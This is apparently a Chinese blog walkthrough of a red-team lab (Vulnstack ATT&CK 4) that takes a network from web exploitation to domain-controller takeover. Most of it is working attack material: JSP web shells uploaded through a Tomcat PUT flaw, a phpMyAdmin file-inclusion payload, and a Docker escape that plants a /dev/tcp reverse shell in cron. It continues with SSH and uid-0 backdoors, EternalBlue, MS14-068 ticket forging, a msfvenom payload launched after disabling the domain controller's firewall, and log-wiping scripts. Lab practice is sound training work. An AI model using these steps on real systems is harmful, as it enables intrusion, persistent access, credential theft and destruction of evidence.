ATT&CK实战系列—红队实战-4

0、靶场介绍

靶场下载、配置参考:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
靶场配置后需要自行开启 vulhub 里面的三个漏洞。
在这里插入图片描述在这里插入图片描述

1、信息收集

在这里插入图片描述

2、漏洞分析

该阶段为漏洞挖掘、漏洞扫描、漏洞验证

2.1 struts2 漏洞

struts2 漏洞检查工具:
https://github.com/HatBoy/Struts2-Scan
https://github.com/shack2/Struts2VulsTools
https://github.com/x51/STS2G

在这里插入图片描述

Vulmap 是一款 web 漏洞扫描和验证工具
https://github.com/zhzyker/vulmap

在这里插入图片描述

2.2 tomcat 漏洞

Vulmap 是一款 web 漏洞扫描和验证工具
https://github.com/zhzyker/vulmap

在这里插入图片描述Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)

PUT /1.jsp/ HTTP/1.1
Host: 192.168.157.128:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 666

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp  
    +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

在这里插入图片描述
漏洞验证存在该漏洞,下步可以上传冰蝎马等
在这里插入图片描述

2.3 phpmyadmin 漏洞

phpmyadmin 未授权
在这里插入图片描述
phpmyadmin 4.8.1 远程文件包含漏洞

漏洞影响
phpMyAdmin 4.8.0和4.8.1受到影响。

漏洞利用
利用条件:需要账号密码或者config模式

利用payload:
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd,可见/etc/passwd被读取

在这里插入图片描述

3、漏洞利用

3.1 struts2-45 漏洞 getshell

利用工具上传冰蝎马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

在这里插入图片描述在这里插入图片描述

3.2 Tomcat PUT方法任意写文件漏洞(CVE-2017-12615)getshell

PUT /shell.jsp/ HTTP/1.1
Host: 192.168.157.128:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 666

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

在这里插入图片描述在这里插入图片描述

3.3 phpmyadmin 4.8.1 远程文件包含漏洞 getshell

访问,可见/etc/passwd被读取,说明存在该漏洞。
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述

3.4 docker 逃逸

1、判断是否为docker 环境

1、使用下面命令,查看是否存在 dockerrnv 文件
ls -alh /.dockerenv

2、查看系统进程的cgroup信息
cat /proc/1/cgroup

在这里插入图片描述
2、挂载宿主机
当docker容器内拥有宿主机文件读写权限时,可以通过写ssh密钥、计划任务等方式达到逃逸。

查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test
即可写文件获取权限或数据

在这里插入图片描述
3、写入一个反弹 shell 脚本:

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1"  >> /test/tmp/test.sh
或者
sed -i '$a\/bin/bash -i  >&  bash -i >& /dev/tcp/192.168.157.136/13122 0>&1' /test/tmp/test.sh

cat /test/tmp/test.sh

在这里插入图片描述
4、写入任务计划

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab

在这里插入图片描述
5、攻击机监听端口获取shell,逃逸成功

nc -lvvp 13122

在这里插入图片描述

4、权限提升

在docker 逃逸过程中,使用crontab 提权到root 权限:
在这里插入图片描述

5、权限维持

5.1 SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid 0即可认证成功,这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888

在这里插入图片描述然后输入任意密码即可登录
在这里插入图片描述

5.2 添加 uid 0 用户后门

useradd -p `openssl passwd 123456`  -o -u 0 hacker

在这里插入图片描述

6、横向渗透

6.1 搭建socks 代理

1、使用ew 开启一个正向代理

EW正向代理:
Web服务器的设置

如果是Linux系统
./ew_for_linux64 -s ssocksd -l 2080  #监听本地的1080端口
 
如果是Windows系统
ew_for_Win.exe -s ssocksd -l 2080   #监听本地的1080端口

主机的设置

如果是Linux系统,配置proxychains代理链的配置文件,将代理设置成 100.100.10.12的1080端口:socks5 100.100.10.12 1080 
然后命令前面加上 proxychains即可。如:proxychains curl 192.168.10.19
 
如果是Windows系统,直接浏览器中设置代理为 web_ip 的1080端口,或者利用  Proxifier 、sockscap64 设置全局代理

在这里插入图片描述在这里插入图片描述2、使用chisel 搭建一个代理

服务端:
./chisel_linux64 server -p 2080 --socks5

在这里插入图片描述

攻击端:
./chisel_linux64 client 192.168.157.128:2080 socks

在这里插入图片描述在这里插入图片描述

6.2 内网信息收集

  • 本机信息收集
id                  查看当前用户的权限和所在的管理组
uname -a            查看linux版本内核信息
cat /proc/version   查看内核信息
cat /etc/*release   查看linux发行信息
dpkg -l             查看安装的包
crontab -l          是否有计划任务
/sbin/ifconfig -a   查看ip地址等
cat /etc/passwd     普通用户可以查看用户的信息
cat /etc/shadow     账号密码信息
cat /root/.mysql_history 查看mysql历史操作
cat /root/.bash_history 查看用户指令历史记录
find / -perm -u=s -type f 2>/dev/null        匹配高权限的文件,看是否有利用点
  • 内网主机存活
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

在这里插入图片描述

  • 端口服务探测
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.129
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.130

在这里插入图片描述在这里插入图片描述

auxiliary/scanner/smb/smb_version

在这里插入图片描述

6.3 横向渗透–域成员

使用ms17-010 拿下域成员
exploit/windows/smb/ms17_010_eternalblue

在这里插入图片描述在这里插入图片描述

net user hacker hack@123456 /add
net user localgroup administrators hacker /add

在这里插入图片描述

开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

在这里插入图片描述

6.4 横向渗透–域控

  • 切换域内用户

在这里插入图片描述

  • 域内基础信息收集
查看域名	
Net config workstation  
Ipconfig /all

查看几个域	
Net view /domain

查看是否是域名主机	
Net time /domain

查看域内主机	
Net user /domain

查看域控	
Net group “domain controllers“ /domain

查看域管理员	
Net group “domain admins” /domain

在这里插入图片描述查看域控
在这里插入图片描述
获取sid

demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

返回system权限 ,dump 账号密码和hash 值
在这里插入图片描述在这里插入图片描述

TESTWIN7-PC$  DEMO         e3ba914bdaca29c197c7191ebf521873  68a1422322c303e4c24d63f381a03b34eb434477
douser        DEMO         bc23b0b4d5bf5ff42bc61fb62e13886e  c48096437367aad00ac2dc70552051cd84912a55

douser        DEMO         Dotest123

ms14-068 获取 域控

利用ms14-068生成票据:
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

在这里插入图片描述
mimikztz 注入票据:

mimikatz # Kerberos::ptc c:\\Users\douser\Desktop\TGT_douser@demo.com.ccache

在这里插入图片描述
获取域控权限:

dir \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述
生产一个正向连接payload:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /var/www/html/360.exe

在这里插入图片描述
将 payload 上传到跳板机:
在这里插入图片描述
关闭域控防火墙,将payload复制到域控:

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
复制命令:
xcopy 360.exe  \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述在这里插入图片描述

创建服务成功,开启防火墙,运行 payload
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\360.exe"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N start Startup

在这里插入图片描述
设置监听,获取shell
在这里插入图片描述在这里插入图片描述
获取账号密码
在这里插入图片描述在这里插入图片描述

开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

在这里插入图片描述

7、痕迹清理

7.1 Linux

清除命令历史记录
histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件:

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件:

删除当天日志
sed  -i '/当天日期/'d  filename

一键清除脚本:
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

7.2 windows

1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值